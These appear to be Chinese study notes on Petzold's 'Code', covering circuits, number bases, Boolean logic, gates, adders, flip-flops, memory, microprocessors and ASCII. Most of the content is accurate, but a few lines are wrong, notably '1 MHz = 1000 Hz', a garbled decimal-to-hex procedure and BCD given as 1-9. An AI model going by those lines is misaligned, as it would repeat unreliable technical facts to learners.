&lt;p&gt;电阻：即阻抗性，有些物质与其它物质相比更不容易让电流通过。&lt;/p&gt;
&lt;p&gt;绝缘体（insulator）：几乎不能传导任何电流。如：橡胶、塑料和在干燥空气中的布料和木头。&lt;/p&gt;
&lt;p&gt;只要有足够高的电压，任何物质都是可以导电的。&lt;/p&gt;
&lt;p&gt;导线越长，阻抗越高；导线越粗，阻抗越低。&lt;/p&gt;
&lt;p&gt;电压表征了电流做功的势（potential），即电势能的大小。不管电池是否被连接到电路中，电压都是存在的。&lt;/p&gt;
&lt;p&gt;电流（current）与流经电路的电子数有关，计量单位是安培，简称安。&lt;/p&gt;
&lt;p&gt;电阻的单位为欧姆。&lt;/p&gt;
&lt;p&gt;欧姆定律：&lt;code&gt;I = E / R&lt;/code&gt;，I 表示电流，E 表示电压（电动势），R 表示电阻。&lt;/p&gt;
&lt;p&gt;短路：电阻非常非常小，导线会发热，因为电能转换为了热能。&lt;/p&gt;
&lt;p&gt;瓦特是功率（P）的计量单位，有：&lt;code&gt;P = E * I&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;当开关被设置成允许电流通过时，我们称它的状态为开或闭合；当处在关和断开状态时，开关不允许电流通过。&lt;/p&gt;
&lt;h2&gt;第五章 绕过拐角的通信&lt;/h2&gt;
&lt;p&gt;截面越大，导电性越好。&lt;/p&gt;
&lt;p&gt;物理接地：英国：earth；美国：ground。&lt;/p&gt;
&lt;p&gt;地球是一个巨大的导体，也可以把它看成是电子的来源和储藏库。&lt;/p&gt;
&lt;p&gt;地球之于电子就好像海洋之于水滴，它是一个近乎无限的电子之源，同时也是一个无比庞大的电子池。&lt;/p&gt;
&lt;p&gt;大地有时也被认为是零电势（zero potential）点，也就是说现在没有电压。&lt;/p&gt;
&lt;p&gt;导线的粗细使用美国线径标准（AWG）进行度量：AWG 数值越小，导线越粗，电阻也就越小。&lt;/p&gt;
&lt;h2&gt;第六章 电报机与继电器&lt;/h2&gt;
&lt;p&gt;电报（telegraph，即远距离书写）原理：在线路的这一端采取一些措施，使得线路的另一端发生某种变化。&lt;/p&gt;
&lt;p&gt;电磁（electromagnetism）现象：如果你手上有一根铁棒，那么在上面用细导线绕几百圈，然后在导线上接通电流，
铁棒就变成了一块磁铁。现在它可以吸引其它的铁块和钢块（电磁铁上缠绕足够多的细导线，会
产生足够强的电阻，能防止电磁铁产生短路现象）；断开电流，铁棒将丧失磁性。&lt;/p&gt;
&lt;p&gt;继电器与发声器很像，传进来的电流驱动电磁铁拉动金属杠，金属杠同时又作为一个开关的组成部分，
而这个开关连接着电池的输出线路。通过这种方法，输入的比较弱的电流就被放大成了较强的输出电流。&lt;/p&gt;
&lt;p&gt;当输入的电流触发了电磁铁，电磁铁把一个弹性金属条吸附下来，就像闭合了开关一样，使电流可以从接口输出。&lt;/p&gt;
&lt;h2&gt;第七章 我们的十个数字&lt;/h2&gt;
&lt;p&gt;罗马数字：字母 I 表示 1，可以看做是一个划线或者一根伸出的手指。字母 V 像一只手，表示 5。
两个 V 是一个 X，代表数字 10。L 是 50。C 来自单词 centum，表示 100。D 是 500。M 来自
拉丁文 mille，表示 1000。&lt;/p&gt;
&lt;p&gt;两个罗马数字相加的时候只不过是利用几个规则将两个数合并，这个规则是：五个 I 是一个 V，两个 V
是一个 X，五个 X 是一个 L，以此类推。&lt;/p&gt;
&lt;p&gt;阿拉伯数字系统与先前数字系统的区别：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;阿拉伯数字系统与位置相关。&lt;/li&gt;
&lt;li&gt;阿拉伯数字系统没有用来表示数字 10 的专门符号。&lt;/li&gt;
&lt;li&gt;阿拉伯数字系统有 0。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;任何数的 0 次幂都等于 1。&lt;/p&gt;
&lt;h2&gt;第八章 十的替代品&lt;/h2&gt;
&lt;p&gt;在十进制中，10 没有特定的符号，因此在八进制中，同样也没有表示 8 的特定符号。&lt;/p&gt;
&lt;p&gt;当书写十进制和八进制数时，我们可以利用下标标注来区分不同数字系统来避免混淆。下标 TEN 表示
十进制，EIGHT 表示八进制。&lt;/p&gt;
&lt;p&gt;好整数（nice round number）：在十进制中，好整数通常是指结尾有若干个零的数。&lt;/p&gt;
&lt;p&gt;任何 2 的整数次幂乘以 2 的整数次幂的结果依然是 2 的整数次幂。&lt;/p&gt;
&lt;p&gt;八进制数中的每个位所代表的值是该位数字乘以 8 的整数次幂的结果。&lt;/p&gt;
&lt;p&gt;任何一个以 1 开头而后面全是 0 的二进制数一定都是 2 的整数次幂，幂指数就等于这个二进制数中 0 的个数。&lt;/p&gt;
&lt;p&gt;任何数乘以 0 结果都为 0，任何数乘以 1，结果都是这个数本身。&lt;/p&gt;
&lt;p&gt;模板转换进制：将整个十进制数（小于或等于 255）填入到上面一行最左端的格子中。用第一个除数（128）
去除这个数。所得的商填入正下方的格子（左下角的格子），余数填入右边的格子（上面一行左数第二个格子）。
用第一个余数再除以下一个除数 64。按照模板的顺序用同样的方法继续进行下去。&lt;/p&gt;
&lt;p&gt;原则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;每次求得的商只能是 0 或者 1。&lt;/li&gt;
&lt;li&gt;如果被除数小于除数，商为 0，余数就是被除数。&lt;/li&gt;
&lt;li&gt;如果被除数大于或等于除数，商为 1，余数就是被除数减去除数所得之差。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;二进制数的前导零形式：即第一个 1 的左边有零，只为美观。&lt;/p&gt;
&lt;p&gt;当以二进制计数时，最右边的一位（最低位）以 0 和 1 交替。每当该位由 1 变为 0，从
右边数第二位（次低位）也随之改变，不是由 0 变到 1，就是由 1 变到 0。因此，每次只要有一个
二进制数位的值由 1 变到 0，紧挨着的高位数字也会发生变化，而且其变化不是由 0 到 1 就是
由 1 到 0。&lt;/p&gt;
&lt;p&gt;为了让二进制数更易读，通常在每四个数字之间用一个连字符或空格分开。&lt;/p&gt;
&lt;h2&gt;第九章 二进制数&lt;/h2&gt;
&lt;p&gt;通信理论中，噪声（noise）是指影响通信效果的所有事物。&lt;/p&gt;
&lt;p&gt;可以利用冗余（redundancy）来抵消噪音的影响。&lt;/p&gt;
&lt;p&gt;所有可能被转换成对两种或多种可能性的选择的信息，都可以用比特（bit）来表示。&lt;/p&gt;
&lt;p&gt;拥有的比特位数越多，所能表示的不同可能性就越多。&lt;/p&gt;
&lt;p&gt;在二进制中，所有的编码数等于 2 的整数次幂，其幂指数就是比特位的位数。每增加一个比特位就会将
编码的数量增加一倍。&lt;/p&gt;
&lt;p&gt;对数运算是指数运算的逆运算：以 x 为底的 y 的对数为 z：&lt;code&gt;log_xy = z&lt;/code&gt;，逆运算：&lt;code&gt;x^z = y&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;通用产品代码（UPC）的内容详情见书。&lt;/p&gt;
&lt;p&gt;检查错误和一致性的方法，奇偶校验：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;奇校验：编码中含有奇数个 1。&lt;/li&gt;
&lt;li&gt;偶校验：编码中含有偶数个 1。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;补码：0 换成 1，1 换成 0。&lt;/p&gt;
&lt;p&gt;模校验：将数字用字母代替，&lt;code&gt;A BCDEF GHIJK&lt;/code&gt;。然后计算：&lt;code&gt;3*(A+C+E+G+I+K)+(B+D+F+H+J)&lt;/code&gt;。
前一个括号从第一个字母开始每隔一个选取，第二个括号从第二个字母开始每隔一个选取。
从离这个值最近且大于或等于它的一个 10 的整数倍中减去它，其结果为模校验字符。可作为冗余措施。&lt;/p&gt;
&lt;h2&gt;第十章 逻辑与开关&lt;/h2&gt;
&lt;p&gt;在三段论中，首先假定两个条件是正确的，然后再通过这两个条件推断出结论。&lt;/p&gt;
&lt;p&gt;规则：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;加法和乘法的交换律：在运算符的两边的操作数可以任意调换：&lt;code&gt;A+B=B+A&lt;/code&gt;、&lt;code&gt;A*B=B*A&lt;/code&gt;。减法和除法无法应用交换律。&lt;/li&gt;
&lt;li&gt;加法和乘法的结合律：&lt;code&gt;A+(B+C)=(A+B)+C&lt;/code&gt;、&lt;code&gt;A*(B*C)=(A*B)*C&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;乘法的加法分配律：&lt;code&gt;A*(B+C)=(A*B)+(A*C)&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在布尔代数中，操作数不是数字，而是类。一个类就是一个事物的群体，后来也被称为集合。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;+&lt;/code&gt; 号表示两个集合的并集。两个集合的并集的意思是指第一个集合中的所有元素与
第二个集合中所有元素的集合。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;*&lt;/code&gt; 号表示两个集合的交集。两个集合的交集就是指即在第一个集合中又在第二个集合中的所有元素的集合。&lt;/p&gt;
&lt;p&gt;交换律、结合律和分配率都在布尔代数中成立，另外，加法可以分配乘法：&lt;code&gt;W+(B*F)=(W+B)*(W+F)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;1 表示全集，即我们所提到的所有事物。&lt;/p&gt;
&lt;p&gt;符号 1 与减号连用可以表示在全集中排除一些事物，如：&lt;code&gt;1-M&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;0 表示空集，即不包含任何元素的集合。空集往往是两个互斥集合的交集。&lt;/p&gt;
&lt;p&gt;矛盾律：事物不可能即是它本身，同时又是它的对立面。&lt;/p&gt;
&lt;p&gt;并集用 OR 表示；交集用 AND 表示；从全集中去掉某些元素用 NOT 表示。&lt;/p&gt;
&lt;p&gt;在表达式中，每个符号 &lt;code&gt;*&lt;/code&gt; 对应电路中的两个开关（或两组开关）串联的点；每个符号 &lt;code&gt;+&lt;/code&gt; 对应电路
中两个开关（或两组开关）并联的位置。&lt;/p&gt;
&lt;h2&gt;第十一章 门&lt;/h2&gt;
&lt;p&gt;逻辑门的工作就是让电流通过或阻止电流通过。&lt;/p&gt;
&lt;p&gt;继电器像开关一样，可以串联或并联在电路中执行简单的逻辑任务。这种继电器的组合叫做逻辑门。&lt;/p&gt;
&lt;p&gt;继电器是通过放大微弱信号来生成强信号的。&lt;/p&gt;
&lt;p&gt;连接继电器是建立逻辑门的关键。&lt;/p&gt;
&lt;p&gt;双掷继电器：拥有两个输出，但这两个输出在电的极性上是对立的，当一端有电压时，另一端就没有。&lt;/p&gt;
&lt;p&gt;反向器不是逻辑门（一个逻辑门通常有两个或多个输入），它能将 0（低电平）转换为 1（高电平），反之亦然。&lt;/p&gt;
&lt;p&gt;规则：一个门（或反向器）的输出可以作为一个或多个其它门的输入，但两个或多个门的输出是不可以相互连接的。&lt;/p&gt;
&lt;p&gt;2-4译码器：输入为 2 个二进制位，各种组合表示 4 个不同的值。输出是 4 个信号，
任何时刻只能有一个是 1，哪个是 1 取决于输入。&lt;/p&gt;
&lt;p&gt;或非门：用 NOR 表示，结果和或门相反。&lt;/p&gt;
&lt;p&gt;与非门：用 NAND 表示，结果和与门相反。&lt;/p&gt;
&lt;p&gt;缓冲器用于延迟一个信号。&lt;/p&gt;
&lt;p&gt;带有两个反向输入的与门和或非门是等价的；带有两个反向输入的或门和与非门也是等价的。&lt;/p&gt;
&lt;p&gt;摩根定律:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个操作数先被取反，再进行与运算 = 两个操作数进行或运算后再取反（即或非）。&lt;/li&gt;
&lt;li&gt;两个操作数先取反，再进行或运算 = 两个操作数先做与运算后再取反（即与非）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;第十二章 二进制加法器&lt;/h2&gt;
&lt;p&gt;一对二进制数相加的结果中具有两个数位，其中一位叫做加法位，另一位叫做进位位。&lt;/p&gt;
&lt;p&gt;异或门：用 XOR 表示，有且仅有单个输入为 1 时，结果才为 1，否则为 0。&lt;/p&gt;
&lt;p&gt;同或门：当两个输入相同时，结果才为 1。&lt;/p&gt;
&lt;p&gt;两个二进制数相加的结果是由异或门的输出给出的，而进位位是由与门的输出给出的。&lt;/p&gt;
&lt;p&gt;半加器：将两个二进制数相加，得到一个加法位和一个进位位，但没有将之前一次的加法可能产生的进位位
纳入下一次运算。&lt;/p&gt;
&lt;p&gt;最低有效位位于最右边；最高有效位位于最左边。&lt;/p&gt;
&lt;p&gt;行波进位（或脉冲进位）：加法器的总体速度等于数字的位数乘以全加器器件的速度。&lt;/p&gt;
&lt;p&gt;继电器-&amp;gt;真空管-&amp;gt;晶体管。&lt;/p&gt;
&lt;h2&gt;第十三章 如何实现减法&lt;/h2&gt;
&lt;p&gt;补码（补数）：每位取反加 1（最大数减去再加 1），为了避免减法中的借位。&lt;/p&gt;
&lt;p&gt;将进行减法的两个数分别用被减数和减数表示。从被减数中减去减数，得到差。&lt;/p&gt;
&lt;p&gt;避免借位：原式：&lt;code&gt;176-253=-77&lt;/code&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用 999 减去减数 253，计算出对 9 的补数：&lt;code&gt;999-253=746&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把该数对 9 的补数与被减数相加：&lt;code&gt;176+746=922&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;由于之前已经加了 999，这里再减去 999：&lt;code&gt;922-999=-77&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;从一串 9 中减去一个数叫做对 9 求补数。在二进制减法中，减数是从一串 1 中减去的，结果称为对 1 的补数。&lt;/p&gt;
&lt;p&gt;相反数（反码）：对 1 求补数，即将原来二进制数中的 1 变为 0，0 变为 1。&lt;/p&gt;
&lt;p&gt;以 8 位二进制数为例，范围为 00000000~11111111，对应十进制中的 0~255。
这样可以表示的数的范围是-128~+127。最高有效位（最左边）作为符号位。符号位中，1 表示
负数，0 表示正数。&lt;/p&gt;
&lt;p&gt;为了计算 2 的补数，则首先要计算 1 的补数，然后加 1。这等价于将每位取反再加 1。用同样的步骤，
每位取反再加 1，可以将数值还原。&lt;/p&gt;
&lt;p&gt;2 的补码系统为我们提供了一种不用负号就能表示正、负数的方法，也让我们能够自由地将
正数和负数用加法法则相加。&lt;/p&gt;
&lt;h2&gt;第十四章 反馈与触发器&lt;/h2&gt;
&lt;p&gt;振荡器（时钟）：在不需要人为干涉的情况下，可以完全自发地工作。&lt;/p&gt;
&lt;p&gt;振荡器从某个初始状态开始，经过一段时间又回到先前初始状态的这一段间隔定义为振荡器的一个循环或一个周期。&lt;/p&gt;
&lt;p&gt;一个循环所占用的时间就是该振荡器的周期。&lt;/p&gt;
&lt;p&gt;周期的倒数就是振荡器的频率。可以记作赫兹，即 Hz。&lt;/p&gt;
&lt;p&gt;反馈：系统的输出返回给输入，与振荡器构造类似。&lt;/p&gt;
&lt;p&gt;触发器：同样是在两个开关都断开的状态下，灯泡有时亮着，有时却不亮。当两个开关都断开时，电路
有两个稳定态。&lt;/p&gt;
&lt;p&gt;触发器电路可以保持信息，它可以记忆信息。&lt;/p&gt;
&lt;p&gt;R-S（复位/置位）触发器。&lt;/p&gt;
&lt;p&gt;功能表（逻辑表或真值表）：表达了不同输入组合所对应的不同输出结果。&lt;/p&gt;
&lt;p&gt;电平触发的 D 型触发器：D 表示数据端输入。电平触发是指当保持位输入为某一特定电平时，触发器才保存数据端的输入值。&lt;/p&gt;
&lt;p&gt;电平触发的 D 型锁存器：表示电路锁存住一位数据并保持它，以便将来使用。也可以称之为 1 位存储器。&lt;/p&gt;
&lt;p&gt;边沿触发：只有当时钟从 0 跳变到 1 时，才会引起输出的改变。&lt;/p&gt;
&lt;p&gt;区别：在电平触发器中，当时钟输入为 0 时，数据端输入的任何改变都是会影响输出；而在边沿触发器中，
当时钟输入为 1 时，数据端输入的改变也不会影响输出。只有在时钟输入从 0 变到 1 的瞬间，
数据端的输入才会影响边沿触发器的输出。&lt;/p&gt;
&lt;p&gt;时钟信号的正跳变：当时钟端由 0 变为 1 时；负跳变指从 1 变为 0。&lt;/p&gt;
&lt;p&gt;分频器：它的输出反馈到触发器的数据端输入。&lt;/p&gt;
&lt;p&gt;8 位行波计数器：每一个触发器的输出都是下一个触发器的时钟输入。变化在触发器中一级一级地顺序传递，
最后一级触发器的变化必定有一些延迟。更先进的计数器是并行（同步）计数器，该计数器所有输出是在
同一时刻改变的。&lt;/p&gt;
&lt;p&gt;可以使用计数器来确定振荡器的频率。&lt;/p&gt;
&lt;h2&gt;第十五章 字节与十六进制&lt;/h2&gt;
&lt;p&gt;数据路径，这些电路中的数据路径的位宽就是 8。8 比特代表一个字节。&lt;/p&gt;
&lt;p&gt;半字节：字节的一半，即 4 比特。&lt;/p&gt;
&lt;p&gt;八进制数和二进制数之间的转换只需要记住 0~7 这 8 个数字所对应的 3 位二进制数即可。&lt;/p&gt;
&lt;p&gt;二进制数转八进制数：从最右端数字开始，每 3 比特看做一组，这样每组就对应着一个八进制数。&lt;/p&gt;
&lt;p&gt;两个十六进制数可以完整地代表一个字节，则一个十六进制数恰好由 4 位二进制数组成，即半字节。&lt;/p&gt;
&lt;p&gt;用一个小写的 h 紧跟在数字后边表示这个数是以十六进制表示的。&lt;/p&gt;
&lt;p&gt;十进制转十六进制：可以用这个数除以 16，分别得到商和余数，商作为结果保留，而余数则作为下次运算的除数。&lt;/p&gt;
&lt;h2&gt;第十六章 存储器组织&lt;/h2&gt;
&lt;p&gt;电报继电器：以一定形式组织起来构成逻辑门，然后再形成触发器，同样具备保存信息的能力。&lt;/p&gt;
&lt;p&gt;8-1 数据选择器：有 8 个数据输入端，以及 3 个选择输入端。
选择输入端的功能就是选择一个输入端数据，然后使其在输出端输出。&lt;/p&gt;
&lt;p&gt;3-8 译码器：输出端口共有 8 个，任何时刻只会有一个锁存器的输出为 1，其余为 0。
每个输出端结果由三个信号的排列组合决定，而数据的输出与输入一致。&lt;/p&gt;
&lt;p&gt;读/写存储器（随机访问存储器，RAM）：可以在每个锁存器存储新的数据（写数据），还可以检查每个锁存器
都保存了什么数据（读数据）。读写操作很自由，只需要改变地址及相关的输入就可以从 8 个锁存器中读出
或写入需要的数据。&lt;/p&gt;
&lt;p&gt;将 RAM 进行特殊的配置可形成 RAM 阵列，该阵列以 8*1（读作8乘1）的方式组织起来，以 1 比特作为
存储单位，共存储 8 个单位的数据，所以这个 RAM 阵列中能存储的位数等于 8 与 1 的乘积。&lt;/p&gt;
&lt;p&gt;通过共享地址把两个 &lt;code&gt;8*1&lt;/code&gt; 的 RAM 阵列连接起来，把其地址和输出都分别看成一个整体，
这样就得到了一个 &lt;code&gt;8*2&lt;/code&gt; 的 RAM 阵列，该阵列可存储的二进制数依然是 8 个，但每个数的位宽为 2 位。&lt;/p&gt;
&lt;p&gt;还可以把两个 &lt;code&gt;8*1&lt;/code&gt; 的 RAM 阵列看作是两个锁存器，使用一个 2-1 选择器和一个 1-2 译码器将它们
按照单个锁存器连接方式进行集成，这种结构实际上就是 &lt;code&gt;16*1&lt;/code&gt; 的 RAM 阵列。&lt;/p&gt;
&lt;p&gt;RAM 阵列的存储容量 = 2^地址输入端的个数&lt;/p&gt;
&lt;p&gt;可以证明不存在一对整数 a 和 b 使得 10 的 a 次幂与 2 的 b 次幂相等，但有 &lt;code&gt;2^10 约等于 10^3&lt;/code&gt;，
即 2 的某次幂和 10 的某次幂几乎相等。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;1024 字节通常被简称为 1 千字节（kilobyte），千字节可以简写成 KB。&lt;/li&gt;
&lt;li&gt;可以把 1024KB 统称为 1 兆字节（megabyte），兆字节缩写为 MB。&lt;/li&gt;
&lt;li&gt;1024MB 称为 1 吉字节（gigabyte），缩写为 GB。&lt;/li&gt;
&lt;li&gt;1 太字节（terabyte）表示 2^40 个字节，缩写为 TB。&lt;/li&gt;
&lt;li&gt;1 批字节（petabyte）表示 2^50 个字节，缩写为 PB。&lt;/li&gt;
&lt;li&gt;1 安字节（exabyte）表示 2^60 个字节，缩写为 EB。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在存储器领域，通常使用的是字节数而非比特。但在描述在线路中流动的数据时，会使用类似千比特每秒（kbps）或
兆比特每秒（mbps）的用语。千比特 = 1000 bit。&lt;/p&gt;
&lt;p&gt;随机访问存储器是以易失性存储器，需要恒定电流来保证数据不丢失。&lt;/p&gt;
&lt;h2&gt;第十七章 自动操作&lt;/h2&gt;
&lt;p&gt;累加器：用来累加多个数的锁存器。&lt;/p&gt;
&lt;p&gt;指令码（操作码）：指示电路要执行的某种操作。&lt;/p&gt;
&lt;p&gt;控制信号：由逻辑门的各种组合实现，用来控制组件。&lt;/p&gt;
&lt;p&gt;在位宽 8 个机器上做 16 位计算：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;加宽度：把两个 8 位加法器连在一起构成一个 16 位的设备。&lt;/li&gt;
&lt;li&gt;先低字节再高字节：先处理最右边的字节（低字节），再计算最左边的字节（高字节）。
低字节时保存进位输出，并把它作为高字节运算的进位输入。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;取指令：从存储器中取出指令的过程。如果每一条指令的长度是 3 个字节，因为每次从存储器取回一个
字节，所以取每条指令需要的时间为 3 个时钟周期。此外，一个完整的指令周期需要 4 个时钟周期。&lt;/p&gt;
&lt;p&gt;执行指令：机器响应指令码做一系列操作的过程。每一种机器码用其唯一的方式触发多种控制信号，
从而引发机器执行各种操作。&lt;/p&gt;
&lt;p&gt;TANSTAAFL 工程准则：改进了机器的某个方面，则其它方面就会有损失，有得就有失。&lt;/p&gt;
&lt;p&gt;分支指令（goto 指令）：改变机器的顺序寻址方式，转到另一个位置。&lt;/p&gt;
&lt;p&gt;条件跳转指令使得跟以往的计算器区别开来，能否控制重复操作或者循环是计算机和计算器的区别。&lt;/p&gt;
&lt;p&gt;数字计算机处理离散数据；模拟计算机处理模拟数据。&lt;/p&gt;
&lt;p&gt;数字数据就是离散数据，即这些数据是一些确定的离散值；模拟数据是连续的，并且在整个取值区间变化。&lt;/p&gt;
&lt;h2&gt;第十八章 从算盘到芯片&lt;/h2&gt;
&lt;p&gt;可计算性：用来分析哪些事情计算机可以做到，哪些做不到。&lt;/p&gt;
&lt;p&gt;存储程序概念：这些指令在存储器中是顺序存放的，而且可以由程序计数器进行寻址，但允许条件跳转。&lt;/p&gt;
&lt;p&gt;半导体：如锗元素和硅元素以及一些化合物。它们的导电系数可以通过多种方式操控。&lt;/p&gt;
&lt;p&gt;半导体可以与某些杂质组合，可分为 N 型半导体（为原子之间的结合提供额外的电子）和 P 型半导体。&lt;/p&gt;
&lt;p&gt;NPN 晶体管：其三部分分别为集电极、基极和发射极。
是一个由一个 P 型半导体夹在两个 N 型半导体之间形成的放大器。
在基极施加微小的电压就可以控制非常大的电压从集电极到发射极。&lt;/p&gt;
&lt;p&gt;集成电路（IC，芯片）通过将硅片分层，然后非常精确地掺入杂质以及蚀刻不同的区域形成微小组件来制作。&lt;/p&gt;
&lt;p&gt;集成电路最常见的封装方式是采用矩形塑料双排直插式（DIP），提供14、16或40个管脚。&lt;/p&gt;
&lt;p&gt;摩尔定律：每 18 个月同一块芯片上集成晶体管数目就会翻一倍。&lt;/p&gt;
&lt;p&gt;传播时间：输入端发生变化引起输出端发生相应变化所需要的时间。&lt;/p&gt;
&lt;p&gt;通常以纳秒来衡量芯片的传播时间，缩写为 nsec，即 ns。千分之一秒称为毫秒，百万分之一秒称为微秒，十亿分之一秒才为纳秒。&lt;/p&gt;
&lt;p&gt;通常情况下是每秒至少震荡一百万个周期，称 1 兆赫兹，缩写为 MHz。&lt;/p&gt;
&lt;p&gt;在比较微处理器性能时采用的标准：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;位数&lt;/li&gt;
&lt;li&gt;时钟频率：是指连接到微处理器并驱动它运行的振荡器的最大频率，超过此时钟频率，微处理器将不能正常工作&lt;/li&gt;
&lt;li&gt;寻址能力&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可计算性的一种定义：某种意义上来讲，所有的数字计算机都是相同的，如果一台处理器从硬件上无法
做到另外一台可以做到的事情，那么它可以通过软件途径做到，最终它们可以完成相同的事情。&lt;/p&gt;
&lt;h2&gt;第十九章 两种典型的微处理器&lt;/h2&gt;
&lt;p&gt;一个微处理器通常有多个用来寻址存储器的输出信号。用于寻址的输出信号的数目与微处理器的可寻址空间大小直接相关。&lt;/p&gt;
&lt;p&gt;1 MHz = 1000 Hz。&lt;/p&gt;
&lt;p&gt;时钟周期 = 1 / 时钟频率（单位为 Hz）&lt;/p&gt;
&lt;p&gt;寄存器和累加器非常类似，本质上都是锁存器。处理器既可以把数据从存储器读入寄存器，也可以把数据从寄存器存回存储器。&lt;/p&gt;
&lt;p&gt;通常把两个 8 位的寄存器 H 和 L 合起来构成一个 16 位的寄存器对，称作 HL，H 用来保存高字节而 L 用来保存低字节。&lt;/p&gt;
&lt;p&gt;直接寻址；间接寻址；立即数寻址。&lt;/p&gt;
&lt;p&gt;标志位：进位标志位CF、零标志位ZF、符号标志位SF、奇偶标志位PF、辅助进位标志位AF。&lt;/p&gt;
&lt;p&gt;用一个专门的 8 位寄存器来存放所有标志位，该寄存器称做程序状态字（PSW）。&lt;/p&gt;
&lt;p&gt;按位运算指令：对于这些逻辑运算指令，其操作数的每一个对应位都是独立计算的。&lt;/p&gt;
&lt;p&gt;BCD 码：是一种编码，把 1-9（十进制中的各个数字）用 4 位单独表示，所以一个字节可以表示两个十进制数。&lt;/p&gt;
&lt;p&gt;循环移位指令：可以把累加器中的内容向左或向右移动 1 位。共有两种移位方式。&lt;/p&gt;
&lt;p&gt;猥琐胶片和磁带都不是随机访问的，而是顺序访问的。&lt;/p&gt;
&lt;p&gt;堆栈（后进先出存储器，LIFO）：最先保存到堆栈的数据最后被取出，而最后保存的数据则最先取出。存入数据称为压入（push），取出数据称为弹出（pop）。&lt;/p&gt;
&lt;p&gt;堆栈指针：一个专门的 16 位寄存器对堆栈的存储空间寻址。&lt;/p&gt;
&lt;p&gt;堆栈上溢（stack overflow）：过多地使用了 PUSH 指令导致堆栈覆盖掉存储器中保存的程序所必需的代码或数据。&lt;/p&gt;
&lt;p&gt;堆栈下溢（stack underflow）：过多地使用了 POP 指令导致过早地取完堆栈中的数据。&lt;/p&gt;
&lt;p&gt;堆栈的初始位置将会是存储器的最高地址，因为程序的代码通常从最低位置开始存放，因此两者将保持非常远的距离。&lt;/p&gt;
&lt;p&gt;在处理器中专门设置了一个称为程序计数器 PC 的寄存器，它用来保存处理器将要取出并执行的指令的
存储地址。跳转等指令使 PC 重新加载另外的值。&lt;/p&gt;
&lt;p&gt;调用指令（CALL）会使得 PC 加载一个新的地址，并保存原来的地址到堆栈。&lt;/p&gt;
&lt;p&gt;子程序由 CALL 指令实现，它是一段频繁使用的完成特定功能的代码。&lt;/p&gt;
&lt;p&gt;在某些微处理器中，外围设备实际上占用了一些通常用来寻址存储器的地址，这种结构称作内存映像I/O。&lt;/p&gt;
&lt;p&gt;I/O端口：专门用来访问输入/输出设备的地址。&lt;/p&gt;
&lt;p&gt;中断机制。&lt;/p&gt;
&lt;p&gt;小端序（Intel方式）：低字节在前，高字节在后。&lt;/p&gt;
&lt;p&gt;大端序（Motorola方式）：高字节在前，低字节在后。&lt;/p&gt;
&lt;p&gt;RISC（精简指令集计算机）：通过某些方面的简化来提高处理器的速度。指令通常都是等长的，只有
加载和保存两种指令能访问存储器，并且尽量简化指令的操作。还设置了大量寄存器，这样就能避免
频繁访问存储器以提高运行速度。&lt;/p&gt;
&lt;p&gt;现代提高速度的方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;流水线技术：处理器在执行一条指令的同时读取下一条指令，尽管跳转指令在一定程度上会改变这种流程；&lt;/li&gt;
&lt;li&gt;高速缓存存储器（Cache）：是一个设置在处理器内部，访问速度非常快的 RAM 阵列，用来存放处理器最近要执行的指令。
由于计算机程序经常执行一些小的指令循环，使用 Cache 可以避免反复加载这些指令。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;第二十章 ASCII 码和字符转换&lt;/h2&gt;
&lt;p&gt;为了将文本表示为数字形式，需要构建一种系统来为每一个字母赋予一个唯一的编码。数字和标点符号
也算作文本的一种形式，所有它们也必须拥有自己的编码。&lt;/p&gt;
&lt;p&gt;所有由符号所表示的字母和数字都需要编码，具有这种功能的系统被称为字符编码集，系统内的每个
独立编码称为字符编码。&lt;/p&gt;
&lt;p&gt;莫尔斯码是自适应长度编码，即常用字符编码较短，而不常用字符的编码较长。这种编码非常适合电报系统，
但不适合计算机。另外，莫尔斯码并不区分字母的大小写。&lt;/p&gt;
&lt;p&gt;布莱叶盲文编码使用固定宽度，非常适合计算机使用。每一个字符对应着 6 比特的编码，并且用到了转义码
对大小写进行了区分。转义码用来表明下一个字符为大写。用移位码表示数字，移位码后紧跟的编码都被看做数字，
直到遇到下一个移位码。&lt;/p&gt;
&lt;p&gt;对一个句子进行编码后得到的连续字符通常被称为文本字符串。&lt;/p&gt;
&lt;p&gt;当使用电传打字机时，一旦到了一行的末尾，就会先回车：让打印机的滑架回到初始位置，这样打印下一行时
可以从纸的最左边开始；然后换行：将打印机的滑架移至正在使用中的位置的下一行。&lt;/p&gt;
&lt;p&gt;在 ASCII 码中，一个大写字母与其对应的小写字母的 ASCII 码值相差 20h。&lt;/p&gt;
&lt;p&gt;图形文字可以被显示出来；而控制字符是用来执行某一特定功能，因而不用显示出来。&lt;/p&gt;
&lt;p&gt;TAB 符的作用是在下一个水平位置，即在距前一个字符的间距为字符长度 8 倍的位置打印下一个字符。&lt;/p&gt;
&lt;p&gt;换页符：使得打印机跳出当前页，并开始准备打印下一页。&lt;/p&gt;
